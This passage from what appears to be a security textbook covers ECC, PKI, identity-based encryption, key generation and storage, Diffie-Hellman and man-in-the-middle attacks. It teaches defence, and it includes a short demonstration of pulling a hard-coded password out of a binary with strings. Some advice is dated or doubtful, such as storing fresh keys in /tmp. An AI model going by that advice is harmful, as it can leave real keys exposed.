Elliptic curve cryptography (ECC) provides another mathematical way to build a public key
cryptosystem. It was invented to by Neil Koblitz and Victor Miller independently at about the
same time in 1985. Its discovery is much more recent than RSA. ECC is also based on number
theory. Unlike RSA, its security is not dependent upon the difficulty of factoring large prime
numbers, but instead is based upon the difficulty of the elliptic curve discrete logarithm
problem. 
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Since RSA has been around longer than ECC, and mathematicians have had more time to
look at attacks on RSA (Boneh 1999), we might say that RSA is better understood than ECC.
Nevertheless, ECC has started making an impact in real-world security systems. For example,
NIST, ANSI, and IEEE have standardized how ECC should be used for government, financial,
and other types of systems. Also, while Certicom holds many patents surrounding ECC, NSA
has purchased a blanket license for the use of ECC in protecting government information.

The mathematics of ECC, as with RSA, are beyond the scope of this book. (Cryptography
and Network Security: Principles and Practice, by W. Stallings, is a good source to learn about
the mathematics of both RSA and ECC.) The key characteristic of ECC-based public key cryp-
tography that is important from a systems standpoint is that it allows you to do public key
operations using much smaller keys than RSA. 

13.4. Symmetric vs. Asymmetric Key Cryptography
Symmetric key encryption using algorithms like DES, Triple DES, and AES are relatively effi-
cient compared to asymmetric key cryptography because they do not require as many CPU
cycles. This is due to their use of relatively simple, discrete logic operations, as compared to
modular exponentiation in RSA. As a result, RSA ends up being about one thousand times
slower than DES (Daswani and Boneh 1999).

There are other trade-offs between the two algorithms as well. In a symmetric encryption
algorithm, there is a concern that if Alice and Bob want to communicate, they would need
to agree on a key beforehand. The key agreement problem may not be as significant in the
asymmetric case because public keys can be published to everybody. However, there is still a
problem with publishing public keys that we haven’t addressed. Specifically, anyone can gen-
erate a public/private key pair, but the user’s public key needs to be tied to the user’s identity. 

Earlier in this chapter, we discussed an example in which Bob published his public key to
a public directory. To keep things simple in our explanation as we introduced asymmetric
cryptography, we left out one important detail. When Alice does a lookup in the public direc-
tory for Bob’s public key, how does she know that someone is not impersonating Bob? In
particular, you can think of the public directory as a two-column table in which the first col-
umn is the name of a person, and the second column is that person’s public key. If the public
directory allows anyone to publish a public key without first verifying that person’s identity,
an attacker could masquerade as Bob by publishing a public key under Bob’s name! 

13.5. Certificate Authorities
To solve the problem discussed in the preceding section, we need to introduce a trusted third
party called a certificate authority (CA) to verify people’s identities. Specifically, the CA binds
people’s identities to their public keys. To accomplish this, a CA, for instance, authenticates
Bob, and then digitally signs a statement called a public key certificate (or certificate, for short)
saying that “The public key for bob@learnsecurity.com is...” (we cover digital signatures
in Chapter 15). Certificates typically also specify an expiration date, such that the identity-to-
public-key binding should not be trusted by default after the expiration date.

A CA is also responsible for revoking keys and certificates. Sometimes, a user’s private key
is lost, compromised, or outright stolen prior to the expiration date in the certificate. In that
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case, the CA publishes a certificate revocation list (CRL) that specifies all of the keys that are
revoked, or should not be trusted. Principals that need to encrypt data with public keys or ver-
ify digital signatures are expected to check CRLs for revoked keys as part of their processing. 

The CA, together with all of the corresponding hardware, software, services, and
processes required to support public key encryption, decryption, digital signatures, and
certificates, are often referred to as public key infrastructure (PKI). 

13.6. Identity-Based Encryption (IBE)
In the RSA and ECC schemes described previously, Alice would need to acquire Bob’s public
key certificate before sending an encrypted message to him (or else she could not be sure that
she would be encrypting with Bob’s public key, and not that of an impostor). Alice would
either have to request Bob’s public key certificate from Bob, from a directory, or from the CA.
Part of the reason for the existence of the public key certificate is that in both RSA and ECC,
Bob’s public key, kp, is a string of bytes that happens to satisfy the constraint F–1(F(m,kp),ks) = m,
and the certificate binds kp to Bob’s identity. 

However, if Bob’s public key could instead be, say, his e-mail address (bob@learnsecurity.
com), then Alice would not have to fetch Bob’s public key certificate if she knows his e-mail
address. Alice could simply encrypt the message she would like to send to Bob with his e-mail
address. In this case, Bob’s e-mail address is both his identity and his public key. To decrypt the
message, Bob retrieves his private key from a private key generator (PKG) run by his company
(learnsecurity.com), and applies his private key to the encrypted message. To successfully
retrieve his private key, Bob authenticates to the PKG in much the same way that he would
with a CA. However, in IBE, the PKG (in addition to Bob) knows his private key. Dan Boneh
and Matt Franklin’s “Identity-Based Encryption from the Weil Pairing,” describes a practical
implementation of such an identity-based encryption scheme. Their scheme has been com-
mercialized by Voltage Security (www.voltage.com), a startup company founded in 2002. 

Revocation works differently in IBE than in traditional PKI. In traditional PKI, the CA
publishes a CRL. Over time, the length of a CRL grows, and must be downloaded before
encrypting or verifying a signature to avoid using a revoked public key. In IBE, if we make the
public key Bob’s e-mail address concatenated with the current date (bob@learnsecurity.com
|| current-date), then the PKG simply will not provide Bob private keys corresponding to the
public keys for those dates after which his key is revoked. 

13.7. Authentication with Encryption
In our discussion of symmetric and asymmetric algorithms thus far, when we have discussed
keys, we have meant encryption keys. The most obvious application of encryption is to
achieve confidentiality. Encryption, however, can be used to accomplish other security goals
as well. 

Encryption can, for example, be used to achieve authentication. To demonstrate this, we
start with an example “toy” protocol that allows us to do authentication with a public key
cryptosystem. 
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■Caution In the following example, as well as some other examples presented in later chapters, the
simple toy protocols that we discuss are for instructive and illustration purposes only. They are designed to
make concepts easy to understand, and are vulnerable to various types of attacks that we do not necessarily
describe. Do not implement these protocols as is in software.

Let’s consider a scenario in which Bob has a public/private key pair, and Alice wants to
authenticate Bob. Assuming that Alice received Bob’s public key certificate and trusts that, say,
Kp, is indeed Bob's public key, she can encrypt a “challenge” message using Bob’s public key
(see Figure 13-1). 

Figure 13-1. Authentication with encryption

The challenge message contains a nonce (some random number) in it. In Figure 13-1,
Alice encrypted the number 384764342 with Bob’s public key and sent the nonce to Bob. Bob
can use his private key to decrypt the message to retrieve the plain text 384764342, and send it
back to Alice. Since Bob is the only person who can decrypt this message with his private key,
Alice can be satisfied that she is communicating with Bob if he can respond with the nonce
that she encrypted with his public key. An impostor such as Mallory would not possess Bob’s
private key and would not be able to decrypt the challenge. Obviously, Alice should send a dif-
ferent, unpredictable nonce each time, or else Mallory may be able to replay a message that
Bob previously decrypted to impersonate him. In this example, we have used public key
encryption to achieve authentication. 

Encryption can also be used to implement digital signatures and message integrity, among
other things. In Chapter 15, we show how encryption can be used to implement digital signa-
ture schemes and message authentication codes.
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Key Management 
and Exchange

In this chapter, we focus on keys—how they can be generated, stored, and used in different
ways, and how parties can agree upon them. Key management refers to the process by which
keys are generated, stored, agreed upon, and revoked. The following list presents some impor-
tant questions pertaining to key management.

• Generation: How should new keys be created?

• Storage: Once created, how should keys be securely stored so that they cannot be easily
stolen?

• Agreement: How should two or more parties decide on a session key used to protect the
confidentiality of their conversation?

14.1. Types of Keys
Until this point, when we have talked about keys, we have typically meant encryption keys.
Yet, we have shown that encryption can be used to accomplish additional security goals, such
as authentication; and that multiple keys (such as public and private keys) can be used to
accomplish different goals even within the context of a single communication between Alice
and Bob. In the next couple subsections, we will distinguish between identity keys, session
keys, and integrity keys.

14.1.1. Identity Keys
Authentication typically happens once per connection setup between two parties. Keys that
are used to help carry out the authentication are called identity keys. The lifetime of a princi-
pal might be long (e.g., decades), and such keys need to have lifetimes that are of the same
order of magnitude as that of the principal.

14.1.2. Conversation or Session Keys
Once two parties have, say, authenticated themselves to each other using their identity keys,
they may want to start exchanging confidential information with each other. To do so, they
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may agree on a conversation key, or session key. (We use the terms conversation key and ses-
sion key interchangeably.)

A key issue with session keys (pardon the pun!) is how to have two parties agree upon one.
Alice and Bob can meet at some physically secure place and agree on a password. The pass-
word can then be converted to bits,1 and be used to encrypt a session key that Alice sends to
Bob (or vice versa). Alternatively, Alice could call Bob over the phone, and as long as the phone
line is not wiretapped, they can decide on a password. That password can be used to exchange
a conversation key in a similar way, which can then be used to securely communicate over
some channel, such as an Internet socket.

It is possible for Alice and Bob to agree upon a key without ever meeting or communi-
cating over an alternate secure channel using an asymmetric cipher such as RSA or the 
Diffie-Hellman (DH) key exchange algorithm (described in Section 14.4.2).

14.1.3. Integrity Keys
An integrity key is used to compute message authentication codes (MACs). If both Alice and
Bob share an integrity key, then they can use that key to compute MACs on messages they
exchange to help them detect if an attacker may have tampered with the messages.

ONE KEY, ONE PURPOSE

It is good security practice to only use a key for one purpose. For example, a single key should not be used as
both a session key and an integrity key. If an adversary figures out a session key, she will be able to decrypt
and eavesdrop, but not necessarily tamper with the messages. On the other hand, if the same key is used
both as a session key and an integrity key, the adversary will be able to read and modify bits in the encrypted
conversation. Of course, the hope is that the vulnerability that allowed the attacker to figure out the session
key cannot also be used to determine the integrity key! Nevertheless, using one key for only one purpose is
the right, paranoid thing to do, and can provide additional protection.

14.2. Key Generation
How to generate keys depends on the type of algorithm with which the key is expected to be
used. When using many symmetric encryption algorithms, a key can be generated at random.
We will discuss exactly what we mean by “random” shortly. Also, in some symmetric algo-
rithms, some keys are considered to be “weak.” For example, due to the mathematics of how
DES works, keys that are all zeros or all ones will result in a self-inversion in which F(F(m,k),k)
= m. That is, encrypting twice will result in decryption. If such a weak key is used, and an
adversary could trick Alice into encrypting ciphertext, the adversary would be able to obtain
the plaintext without even knowing the key! To be most cautious, such weak keys should be
checked for and discarded instead of being used. While keys for symmetric algorithms can,
for the most part, be generated at random, weak keys should be avoided.
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In asymmetric schemes, generating public/private key pairs requires special algorithms
(the mathematics of which are beyond the scope of this book). For instance, to generate an
RSA key pair, large random prime numbers must be generated as one of the steps in key gen-
eration. Also, while you can choose your own public key in identity-based encryption (IBE),
the private key must be generated using a master key and a special key generation algorithm
used by the private key generator (PKG). In IBE, the master key should be chosen at random. If
you have not guessed it yet, generating random numbers tends to be important in both sym-
metric and asymmetric algorithms, and while we do not cover the mathematics of asymmetric
key generation here, we do touch upon how to securely generate random numbers for use
with cryptographic algorithms.

Before discussing random number generation, we briefly touch upon some practical
aspects of how to generate keys. Keep in mind that if an adversary can guess or steal your keys,
any perceived security that you think your application might have is in fact only perceived.
Hence, when you generate keys, if you subsequently store them on disk, for instance, you may
want to ensure that they do not touch or get automatically replicated onto other disks that are
connected to a network. You may also want to consider generating keys on a computer that is
not connected to any network.

If you place newly generated keys into a file, you may want to consider putting them in a
temporary or scratch directory such as /tmp (in Unix-based systems). In addition, you should
eliminate keys from memory immediately after using them, as process memory may periodi-
cally get paged or swapped to disk by the virtual memory subsystem of your operating system.
If, for instance, your application uses a dialog box to ask a user for a password, be sure to zero
out and free the memory objects used to construct that dialog box after you have received the
password. In fact, one way to attack a system and steal passwords and keys is to cause it to
“core dump” and then look through the swap file for passwords and keys!

Finally, it is often desirable to generate a key from a password. However, as we demon-
strated in Chapter 9, passwords (and hence keys generated from them) can be susceptible to
dictionary attacks. The number of possible 128-bit keys is significantly larger than, say, the
number of 8-character alphanumeric passwords. As such, if you need to generate a crypto-
graphic key from a password, you should use a password-based encryption scheme such as
PKCS #5, as specified in RFC 2898 (see www.ietf.org/rfc/rfc2898.txt). In the most basic
PKCS #5 scheme, passwords are salted and then hashed many times (e.g., 1,000 times) to make
dictionary attacks harder. Of course, you should not implement password-based encryption
schemes yourself, but instead use already implemented ones as provided by, for instance, the
PBEKeySpec and PBEParameterSpec classes in the Java Cryptography Extension (JCE).

14.2.1. Random Number Generation
To explain why the ability to generate random numbers securely is important, we consider a
simple protocol. Consider a scenario in which Alice and Bob know each other’s public keys
and would like to exchange secret messages. A public key cryptosystem such as RSA is about
1,000 times slower than, say, Triple DES. Hence, to allow Alice and Bob to efficiently exchange
confidential information, we could have Alice simply choose a random number, s, and send
that random number to Bob, encrypted with Bob’s public key. Only Bob will be able to use his
private key to decrypt s. Once Bob receives s encrypted, he decrypts it, and can start using s as
a key for a symmetric cipher.
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But how should Alice generate s? If an attacker can guess s, it does not really matter that
Alice had gone through the trouble of encrypting that random number before sending it to
Bob. An eavesdropper who can just guess s can decrypt any data that Alice and Bob exchange
that is encrypted with s. If the eavesdropper is not simply a passive one, he would also then be
able to modify or inject data into Alice and Bob’s conversation. Now that we have demon-
strated a concrete example in which an inability to generate unpredictably random numbers
can result in insecurity, we discuss how we might go about trying to generate random numbers.

14.2.2. The rand() function
One of the most obvious and trivial ways to generate random numbers using, say, the C pro-
gramming language, is to use the standard C library function rand(). The rand() function uses
a linear congruential generator to generate random numbers. That algorithm generates num-
bers that, when averaged and examined over time, seem random from a statistical standpoint.

However, rand() is not a good function with which to generate numbers that are secure
for use with cryptographic algorithms, because after some time, the “random” numbers gen-
erated by rand() repeat in a fairly predictable fashion. Given a handful of numbers output
by rand(), you can determine the seed, and all past and future numbers that will be output.
Therefore, you should not use rand() to generate random numbers for security applications.

The Art of Intrusion, by Kevin Mitnick and W.L. Simon, describes a case in which some
rogue programmers used random number prediction to determine what cards video poker
machines in casinos would deal, and made off with over a million dollars.

14.2.3. Random Device Files
Other options for generating cryptographically secure random numbers may depend upon
what type of OS your application is running on. If you are running on Linux, the OS provides
two virtual “devices” that look like files on disk: namely /dev/random and /dev/urandom. When
your application reads from these files, the bits are unpredictably random with no repeating
sequences, as they are generated based on events that happen during and after the boot
sequence. The methods used to generate these random bits take into account the inter-arrival
times between key strokes that the user enters, mouse movements, arrival of data packets over
the network, and all kinds of other random events—rather than the deterministic sequence
that is produced by rand(). On Linux, you can open the /dev/random file or the /dev/urandom
file and start reading bits from the file. You can stuff those bits into integers or variables of
other data types that you can use as input to cryptographic algorithms.

For example, to see some of the random bits that might be produced by such files, you
can type the following command at a Linux prompt:

$ head -c 20 /dev/random > /tmp/bits
$ uuencode --base64 /tmp/bits printbits
begin-base64 644 printbits
bj4Ig9V6AAaqH7jzvt9T60aogEo=
====

The first command gathers 20 random characters from /dev/random and saves them to a
file called bits in a temporary directory. The randomly gathered bits are in binary, and may
consist of nonprintable characters. The second command reads the randomly generated bits
and prints them out using base64-encoded printable characters.
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The difference between /dev/random and /dev/urandom is that /dev/random will “block” if
new random bits (also sometimes referred to as entropy) are not available. For instance, if
there has not been any user input or data arriving over the network, a read from /dev/random
may not return control to an executing program. When the program issues a read, the call may
block until the /dev/random device receives enough entropy from various sources. The advan-
tage of /dev/random (as compared to /dev/urandom) is that the bits returned are assured to be
random even though the caller may have to be suspended while the random data bits are
gathered. The /dev/urandom device, on the other hand, will never block, but the bits that are
returned are not necessarily guaranteed to be completely random or have high entropy.

14.2.4. Random APIs
On Windows, the CryptGenKey() OS library call can be used to securely generate keys. In Java,
you can use the SecureRandom class in the java.security package that we introduced in Chap-
ter 9 to generate random numbers. Depending upon what OS your Java program is running
on, the SecureRandom class may make underlying calls to CryptGenRandom or /dev/random, or
make some other underlying OS library call.

SecureRandom does not offer guarantees on how random the returned bits will be. Yet,
using SecureRandom is a much better option than using the Random class that exists within the
java.util package, for the same reason that rand() in C is not a good option—java.util.
Random can be used to generate statistically random, but not cryptographically secure, random
numbers. The reason that the SecureRandom class does not offer guarantees about the level of
entropy of random numbers it returns is because it is cross-platform; it may use different
mechanisms on different OSs. The SecureRandom class will do its best to take advantage of
whatever OS-level primitives are available to it on the given system that it is running on in
order to generate random numbers. Yet, if the underlying OS does not have a good source of
randomness, then neither will the returned values from SecureRandom. Nevertheless,
SecureRandom is preferable to java.util.Random.

14.3. Key (Secret) Storage
Keys are a type of a secret that may need to be stored for later use. For instance, once you gen-
erate a public/private key pair for a user, the private key needs to be stored in a confidential
manner such that the user (and no one else) can decrypt messages with that private key.

More generally, a secret could mean a cryptographic key, a password, or any piece of
information that the security of your program depends on. As Kerckhoff’s principle states, the
security of one’s program should not depend upon the secrecy (obscurity) of the algorithm
itself, but should instead depend upon the secrecy of cryptographic keys. In this section, we
talk about some options for storing secrets such as cryptographic keys and passwords.

14.3.1. Keys in Source Code
Consider a scenario in which you are writing a program that needs to store a file on disk such
that no other program can read that file. Your program might need to use a key to encrypt the
bits of that file. Yet, the question arises, where exactly should you store the key? There are a
number of options that are available.
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One simple option is to embed the key in the source code of the program that you are
writing. The advantage of doing so is that you will be able to use the key at runtime to decrypt
the file that the program uses. But there are many more disadvantages of storing a secret such
as a key or password in your source code. If you store a password or key in your source code,
and the attacker is able to get ahold of your binary, it can be relatively simple to retrieve the
password. For instance, the vault program in Section 6.1.2 had the password opensesame hard-
coded in it. An attacker can simply run the strings utility program to retrieve the password
from the binary. The strings utility outputs sequences of printable characters that appear in
object code, as follows:

$ strings vault
C@@0@
$ @
Enter password:
opensesame
__main
_impure_ptr
calloc
cygwin_internal
dll_crt0__FP11per_process
free
gets
malloc
printf
realloc
strcmp
GetModuleHandleA
cygwin1.dll
KERNEL32.dll

The strings utility program is available on most UNIX/Linux-based systems, and can also
be used by installing Cygwin (www.cygwin.com) on Windows. The preceding output was pro-
duced using Cygwin on Windows.

Note that the password opensesame appears in the fourth line of output. An attacker who
gets ahold of the binary would have no need to use the more complicated buffer overflow
attack discussed in Chapter 6.

What if we were to use a more complicated password? We could choose a password that
is made up of random characters. Chances are that it would still stand out fairly well in the
strings output. What if the password were truly random, such that the probability that a given
bit of the password is either 0 or 1 is exactly 1/2 (as might be the case for a cryptographic key)?
In that case, the password would contain more entropy than the surrounding object code!
Object code is typically made up of regular patterns, and anything that does not fit that pat-
tern could be considered to be a candidate password by the attacker. Finally, if you were to
choose something less random as a password (say, something that looks like object code
itself), the attacker would simply have to brute-force a relatively small dictionary of bytecodes.
As a result, storing any sort of a password or key in your source code is a bad idea, as it will get
compiled into the binary, and can be fairly easily reverse-engineered out of the binary.
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Another alternative involves taking different parts of that key that may be used to encrypt
a file and spreading it through various parts of the source code. This makes it harder for an
attacker to piece the key together. Solutions that go in this direction, however, are based on
obfuscation, and seek to create security by obscurity. Obscuring the location of the key in your
program is not necessarily the best way to achieve security. While storing keys in source code
is an option, it is not necessarily a good one.

The difficulty of reverse-engineering a compiled binary is often significantly overesti-
mated. There exist tools that can automatically analyze a binary executable file, unless specific
measures are taken during compilation to confuse such tools. Such tools can often extract call
graphs and cross-references between code and data from a binary, which often helps a reverse
engineer to quickly zero-in on and analyze an interesting piece of code, such as encryption or
key management routines. In addition, an attacker could run your program in a debugger, set
breakpoints in strategic locations, and inspect the program’s memory after the code that
assembles the de-obfuscated key into memory has been run. It is best to assume that it is
impossible to hide a secret within a binary from a reasonably skilled attacker.

14.3.2. Storing the Key in a File on Disk
Another option is to store keys in files on disk. Should an attacker gain full read access to the
file system, she could search for files that have high entropy, and consider their contents to be
candidate keys. (You can read Adi Shamir and Nicko van Someren’s paper, “Playing Hide and
Seek with Stored Keys,” for more information about such attacks.)

14.3.3. “Hard to Reach” Places
Other approaches include storing the key in the Windows registry instead of in a file. The
Windows registry is a part of the operating system that maintains all kinds of configuration
information for various programs that are executed on the computer. While it is not as easy
for average users to open those files or the registry, it is simple for attackers. There is a utility
called regedit, which an attacker, or even a slightly above-average user, can use to open the
registry and potentially look at any keys that you might store there. Furthermore, registry
entries are stored on disk by the operating system, and an attacker with full read access or
administrator access can read registry entries. Windows does provide some support for pre-
venting non-administrator accounts from accessing registry entries by “locking” them, but in
general, the registry may not be the best place to store highly valuable secrets that your pro-
gram uses.

14.3.4. Storing Secrets in External Devices
Secrets should be stored in some kind of device external to the computer. If the key is not on
the computer, the attacker will not be able to access it, even if she gains access to the entire
computer.

There are a couple of different options for external devices on which keys could be stored.
These external devices are smart cards, hardware security modules (HSMs), PDAs/cell phones,
and key disks.
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Storing Secrets in a Smart Card
A smart card is typically a credit card–shaped device made of plastic. A chip inside the card
can only be accessed through the electronic interface to the chip, which is tamper-resistant.
(Smart cards are described in Section 1.2.2.)

Smart cards have some computing power that can be used to execute basic cryptographic
protocols, allowing keys to stay on the card. A smart card can be “challenged,” and can provide
a response proving that the correct key is on the card, but the card does not need to reveal the
key itself. Moreover, some smart cards have chips on them that have cryptographic accelera-
tors to allow such challenge/response protocols to take place more efficiently. A cryptographic
accelerator can help the smart card do modular exponentiations and other cryptographic-
related operations. At the same time, the smart card chip, even with the help of a
cryptographic accelerator, has a limited amount of CPU power.

One disadvantage of using some smart cards to store secrets is that when a user inserts a
smart card into a reader and enters a PIN, the reader is trusted with that PIN. If the reader is
malicious (i.e., has been constructed by an attacker), the reader can capture the PIN, and, for
instance, execute multiple transactions instead of just one.

Another disadvantage of using some smart card implementations is that they are vulnera-
ble to power attacks. Though the bits of the key are protected on the tamper-resistant chip,
Paul Kocher and others were able to devise some attacks against the smart card. While the
card is doing computation, an attacker can read and gather data about the card. This informa-
tion includes the amount of power that the various circuits are using, and how long the smart
card takes to conduct certain computations. With this information, the attacker might be able
to construct a power attack to extract bits of the key.

Even with the limitations that smart cards have, they provide a better alternative to stor-
ing secrets than source code, files, or the Windows registry. While they are not perfect, smart
cards do raise the bar of effort required on the part of the attacker to steal stored secrets.

Storing Secrets on a Hardware Security Module (HSM)
A hardware security module (HSM) is a device that is dedicated to storing cryptographic
secrets. It can be an external device, an add-on card, or a separate machine on its own. HSMs
can feature tamper-resistance, but tend to have higher computing power and throughput to
support server applications. Some HSMs also have onboard cryptographic accelerators to
help speed up cryptographic computations. Keys can be generated on the HSM itself, and if
cryptographic operations using them are done only on the HSM, the keys may never have to
leave the HSM, which provides for additional security.

Storing Secrets on a PDA
Secrets can also be stored on a PDA or a cell phone. These two types of devices can be consid-
ered together because they exhibit the same characteristics with regard to storing secrets. As
opposed to some smart cards, in which users have to enter PINs into an untrusted reader,
users may be able to have a higher level of trust in a PDA or cell phone that they own. Cell
phones have a direct line of communication with the user, and do not require another device
to serve as an intermediary to allow the user to enter his PIN. The keypad on the PDA or cell
phone is used instead of the keypad on an untrusted reader. PDAs and cell phones also have
more memory to store secrets and faster computational speed than smart cards.
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The RAM in PDAs and cell phones, however, is typically not tamper-resistant. If an
attacker gets ahold of a cell phone, it is much easier for the attacker to open up the device and
access the chip containing the memory for the device. Another disadvantage is that a cell
phone or PDA is usually larger than most smart cards. 

Finally, PDAs and phones are just little computers that can serve as a second factor, but
can have bugs and software security vulnerabilities of their own. In addition, communication
between such devices and other computers may be awkward but simple using wires. Wireless
protocols such as Bluetooth can be used, but secure setup and association can be cumber-
some. 

Storing Secrets in a Key Disk
Another device that one could consider using for storing secrets is a key disk. A USB or key
disk is a device that can attach into the USB port on a PC.

A key disk has a set of non-volatile memory that can be used to store the bits of a secret or
key. The key disk’s biggest advantage is that it serves as a second factor. The key itself will not
be on the user’s PC, and will require the user to plug in the second factor, the USB key disk.

However, most of these disks don’t have a CPU that can run arbitrary programs. The
device is not tamper-resistant. If an attacker gets ahold of it, he could simply stick the key disk
into his PC and start reading the bits on it. In this case, a user could encrypt the bits on the key
disk such that a password could be used to decrypt the data.

As with smart cards, key disks have the problem of the untrusted reader. Whatever the
user is entering the password into can be used to decrypt the bits on the key disk. The pass-
word could be potentially captured, and the key disk may not have good support for
authentication.

External Devices and Keys
An external device allows the owner of a key to remove the key from the host system, and
maintain physical possession of the device that carries the key. However, all of the options
introduced are vulnerable to situations in which the host system the device is connected to
has been compromised and is running malicious code. Such malicious code could, for
instance, make the user believe that she is providing her key to authorize an intended trans-
action, but actually causes the key to be used to authorize a modified or entirely different
transaction.

An important advantage arises from devices where the cryptographic operation (e.g.,
digital signature) is actually executed on the device, and where the private key material never
leaves the device (e.g., smart cards or HSMs). If the device is connected to a compromised
host, the attacker’s malicious code may be able to use the device to perform cryptographic
operations with the user’s key while it is connected. However, unlike in the case of a key disk,
the malicious code cannot extract the key and continue using it after the device has been
disconnected again.

14.4. Key Agreement and Exchange
Once keys have been generated and stored safely, they can be used to initiate a conversation
(e.g., between Alice and Bob). In the case that Alice and Bob already have access to the same
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key, they can directly use a symmetric encryption algorithm to start communicating. However,
if they do not already share a symmetric key, they need to agree upon one. Alice and Bob also
may not have access to an already secure communication channel, but might like to create one.

14.4.1. Using Asymmetric Keys
In this subsection, we first discuss how Alice and Bob can agree upon a symmetric key if they
have public/private key pairs; in the next subsection, we discuss how they can agree upon a
key over an insecure channel if they don’t have public/private key pairs.

To start, Bob sends Alice the following message: “I am Bob, and my public key is XYZ.” We
assume that Bob sends his public key certificate in addition to his public key. Alice verifies the
CA’s signature on the public key certificate. Encrypting all of her messages to Bob with his
public key would be more computationally expensive than encrypting with a symmetric key,
so Alice generates a cryptographically random conversation key and encrypts it with Bob’s
public key using, say, the RSA algorithm. So long as they are not using a stream cipher such as
RC4, but instead using a block cipher such as Triple DES or AES, Alice can use the same con-
versation key to encrypt communications that she sends to Bob.2

Bob uses his private key to decrypt the message Alice sent him and acquires the conversa-
tion key. Then, Bob can encrypt messages with the conversation key and send them to Alice.

14.4.2. Diffie-Hellman (DH)
In the previous section, we assumed that at least either Alice or Bob had generated asymmet-
ric keys and had a public key certificate.3 However, what if Alice and Bob did not have public
key certificates? Could they still exchange a symmetric key over an insecure channel that they
would know, but that Eve would not? While it may not intuitively seem possible, it is possible
due to a key exchange protocol invented by Whit Diffie and Martin Hellman. The DH key
exchange protocol allows two parties to agree upon a key without meeting or relying on an
alternate secure channel. We now describe how DH works.

In DH, both Alice and Bob execute the key exchange protocol using some public parame-
ters g and p that are known to all users, where p is a (large) prime number and g is a generator
(sometimes called a primitive element). A generator is a number that, when raised to succes-
sive powers g1, g2, g3, . . . , gp–1, produces all the numbers in the range 1 to p – 1, although not
necessarily in that order.

Once these two public parameters have been chosen, Alice and Bob can conduct key
exchange, as shown in Figure 14-1. Alice generates a random number, a, and Bob generates a
random number, b. Parameters a and b are used to create a key that will be known to only
Alice and Bob, even if Eve can view the contents of their conversation. After Alice and Bob
choose a and b, respectively, they do not transmit a or b to each other. Instead, Alice transmits
ga mod p to Bob, and Bob transmits gb mod p to Alice. Alice takes the gb mod p that she
receives, and raises it to the power a, thereby computing (gb)a mod p. Bob takes the ga mod p
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3. Assuming that RSA is used; remember that a public key certificate would not be required with IBE.
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that he receives, and raises it to the power b, thereby computing (ga)b mod p. Alice and Bob
now both know (ga)b because (gb)a = (ga)b. The value (ga)b is a shared key that Alice and Bob can
use to encrypt their conversations.

Figure 14-1. DH key exchange

Eve cannot compute (ga)b by eavesdropping. If Eve sees ga and gb go across the wire, she
can multiply them together, but that gives her ga+b, not (ga)b. As a result, Alice and Bob are able
to agree upon a key even if the communications channel is susceptible to eavesdropping.
Using DH, Alice and Bob are able to agree upon a shared key over an insecure channel.

While DH is not susceptible to passive eavesdropping, the shared key can be compro-
mised by active eavesdropping by Mallory. If Mallory is a “man-in-the-middle,” and cannot
only listen to the information going by on the wire, but can also modify messages, she can
mount an attack in which she can decrypt all communications between Alice and Bob, while
giving them the impression that they are only communicating with each other. Mallory’s
attack is illustrated in Figure 14-2.

Figure 14-2. Man-in-the-middle attack

Mallory can fool Alice into thinking that she has successfully participated in a key
exchange with Bob, and fool Bob into thinking that he has successfully participated in a
key exchange with Alice. The protocol starts off as before, with Alice choosing a secret random
number, a. Alice sends ga to Bob, but Mallory intercepts it. Mallory chooses a secret random
number, m, and sends gm to Bob instead of ga.

Bob also attempts to engage in the protocol as expected: he generates gb and attempts to
send it to Alice. Unfortunately, Mallory intercepts gb as well, and replaces it with gm, sending
gm to Alice. Alice computes (gm)a, and Bob computes (gm)b. Mallory computes both (gm)a and
(gm)b. As a result, Mallory will be able to see any message that Alice attempts to send to Bob
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using the secret key (gm)a. Mallory will also be able to see any message that Bob attempts to
send to Alice using the secret key (gm)b. Mallory, as a man-in-the-middle, can impersonate
both Alice and Bob.

In some scenarios, however, it is possible to apply DH such that Alice and Bob can detect
if there is a man-in-the-middle. Phil Zimmermann, in his Voice-over-IP (VoIP) protocol ZRTP,
proposes that both parties compute the hash of the shared secret h((ga)b) that they are using
(Zimmermann 2006). Both communication endpoints (e.g., phones) could display the hash.
Should Alice want to verify that there is no man-in-the-middle, she could ask Bob to read the
hash. Note that when Mallory is actively participating as a man-in-the-middle, the shared
secret that Alice uses with Mallory—(gm)a—and the shared secret that Bob uses with Mallory—
(gm)b—are different. Their hashes will also be different! If Bob reads a different hash value than
what Alice expects, she knows there is a man-in-the-middle!4
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middle. However, Mallory’s job is extremely difficult, and Zimmermann argues that even with the
resources of the NSA, Mallory’s probability of success is too low to be pragmatic.
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MACs and Signatures

In this chapter, we discuss message authentication codes (MACs) and digital signature
schemes. Recall from Section 1.5 that a MAC is a sequence of bits that can be attached to a
message to verify where it originated and that it has not been tampered with. We will describe
two types of MACs: one based on block ciphers and one based on hash functions. The MACs
we describe require the sender and receiver to share a key. In many cases, it might be useful
to allow anyone (without possession of a shared key) to be able to verify the originator of
message, and we will thus describe how digital signatures allow you to do so.

There are many other types of MAC and signature schemes that have been developed—in
this chapter, we sample just a few of the more commonly used. Choosing the right MAC and
signature schemes for your software design may sometimes be a nontrivial decision, and we
encourage you to consult a security expert prior to doing so. The goal of this chapter is to give
you some fluency in exploring potential solutions and discussing the options with a security
expert.

We first introduce secure hash functions as they are used as a component in the MAC and
digital signature schemes we describe.

15.1. Secure Hash Functions
Hash functions, as used in the world of cryptography, have some similarities to and differ-
ences from traditional hash functions. Hash functions in the world of computer science map
a long string to a shorter one. Hash functions are used, for instance, to help construct hash
tables in which data is stored into “buckets” for quick accesses. A hash function is used to
determine which bucket the data should be placed in.

As such, the goal of a traditional hash function is to evenly balance the data across all the
buckets in the hash table. However, cryptographic hash functions have additional goals. A
secure cryptographic hash function H takes as input some (potentially large) string M. It pro-
duces a message digest, MD = H(M), that has a few properties:

1. Efficiency: It should not take a lot of computational time or CPU cycles to compute
H(M) even for a potentially large message.

2. Pre-image resistance: Given H(M), it should be computationally infeasible to determine
M. M is often called the pre-image of the hash H(M), and H is sometimes referred to as
a one-way function.

3. Collision resistance: It is computationally infeasible to find two distinct input messages
M1 and M2 (M1 ≠ M2) for which H(M1) = H(M2). 239

C H A P T E R  1 5
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A traditional hash function that, say, simply adds the ASCII values of the characters in the
message together does not satisfy all these properties. For instance, such a traditional hash
function does not exhibit collision-resistance, as the messages “AB” and “BA” have the same
hash value even though they are different messages. Also, note that checksum functions,
such as CRC32, are used to provide redundancy checks against communication errors and
may be efficient, but in general are not one-way or collision-resistant. Cryptographic hash
functions use much more sophisticated techniques to ensure pre-image and collision resist-
ance properties.

Two real-world examples of hash functions that are commonly used in building security
